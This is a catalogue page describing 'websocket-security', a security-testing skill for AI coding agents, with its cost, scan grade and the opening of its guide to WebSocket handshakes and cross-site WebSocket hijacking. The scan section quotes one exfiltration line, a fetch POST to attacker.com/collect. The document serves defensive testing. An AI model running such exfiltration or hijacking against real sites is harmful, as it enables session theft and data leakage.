websocket-security

websocket-security is a skill for Claude Code, Codex from SecurityTalent/bugskill-ai. It costs 46 tokens per session (3,472 once invoked), scanned A, a copy of websocket-security, MIT.

A security testing guide for WebSockets, a browser-to-server connection that stays open for real-time messages. It covers the connection handshake, cross-site WebSocket hijacking, testing tools, and common flaws in live channels.

In plain words
What is it for?
Use it to inspect WebSocket handshakes, authentication, browser-origin checks, and message handling with proxy tools or browser developer tools.
Why use it?
It helps assess real-time features such as chat and notifications where ordinary HTTP request checks may not cover connection or message permissions.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerabilit.

Good fit Use it to inspect WebSocket handshakes, authentication, browser-origin checks, and message handling with proxy tools or browser developer tools.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai
agentmods
npx agentmods add skills/securitytalent/bugskill-ai/websocket-security

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for websocket-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/websocket-security/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/websocket-security)
Your own site
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/websocket-security"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/websocket-security/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for websocket-security

Your own site · 80×15
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/websocket-security"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/websocket-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 46 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,472 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00046 $0.03472
Opus 5.5 $0.00018 $0.01389
Sonnet 5.5 $0.00009 $0.00694
Haiku 4.5 $0.00005 $0.00347

Measured 1mo ago against content hash bf3c69684d43, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

websocket-security scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://attacker.com/collect', { method: 'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Origin

This is a copy

100% identical to websocket-security — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/websocket-security/SKILL.md · 455 lines

How it starts

The opening of the file, as written. The whole thing — 455 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: WebSocket Security

AI LOAD INSTRUCTION: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in authorized tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load api-sec when present in the workspace.

0. QUICK START

During proxy or raw traffic review, watch for:

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

Server success response indicators:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Routing note: in Burp/browser DevTools, filter for 101 and Upgrade: websocket; for deeper API testing, align authn/authz models through api-sec.


1. PROTOCOL BASICS

Client request (typical)

  • Upgrade: websocket and Connection: Upgrade — required upgrade handshake.
  • Sec-WebSocket-Key — base64 nonce; server hashes with magic GUID and responds with Sec-WebSocket-Accept.
  • Sec-WebSocket-Version: 13 — current standard version for browser interoperability.

Server response

  • HTTP/1.1 101 Switching Protocols — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

  • The server does not validate Origin (or equivalent binding) on the WebSocket handshake, and
  • The victim has an active session (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket as the victim, similar in spirit to CSRF but for a persistent bidirectional channel.

Read the full file on GitHub · 455 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 455 lines · 46 tokens per session scan A bf3c69684d43

Subscribe to this mod's changes

websocket-security is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 46 tokens to every session and 3,472 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 1 finding (sends data to an external url). It is 100% identical to websocket-security, differing in 0 lines, and is treated as a copy.

Related

Other skills, from other repositories

bun-api

Bun runtime API reference for TypeScript scripts. Covers Bun.serve() HTTP/HTTP/2 server with routes and WebSockets, fetch() transport options, proxies and Bun.FetchSession connection pools, Bun.ModuleGraph multi-instance apps, Bun.file(), Bun.write(), Bun.$() shell, Bun.spawn(), Bun.Glob, Bun.env, bun:sqlite…

dmythro/agent-skills · 265 tokens

hub-agent-setup

Connect a local or remote AI agent to Giskard Hub through an authenticated, non-streaming HTTPS endpoint. Use when a user asks to connect, integrate, or register their agent with the Hub. Build a minimal wrapper, deploy or tunnel it, and use the Hub connection test (SDK or MCP) to guide any fixes.

Giskard-AI/giskard-skills · 71 tokens

api-designer

Helps design REST APIs - routes, request/response structures, validation, status codes, and conventions. Use when designing new endpoints or reviewing an existing API's design for consistency.

codebygarv/Ai-skills · 40 tokens

auth-flow-reviewer

Deep review of authentication, authorization, session, and SSO flows specifically - token lifecycle, session fixation, logout behavior, and OAuth/SSO correctness. Use when reviewing or designing login, session, or SSO code specifically.

codebygarv/Ai-skills · 51 tokens

log-message-improver

Improves logging statements for observability - structured logging, appropriate log levels, and useful context. Use when logs are too sparse, too noisy, or missing the context needed to debug an incident from them alone.

codebygarv/Ai-skills · 48 tokens

cqrs-event-sourcing-designer

Designs Command Query Responsibility Segregation (CQRS) and Event Sourcing models with projection rebuilders.

codebygarv/Ai-skills · 30 tokens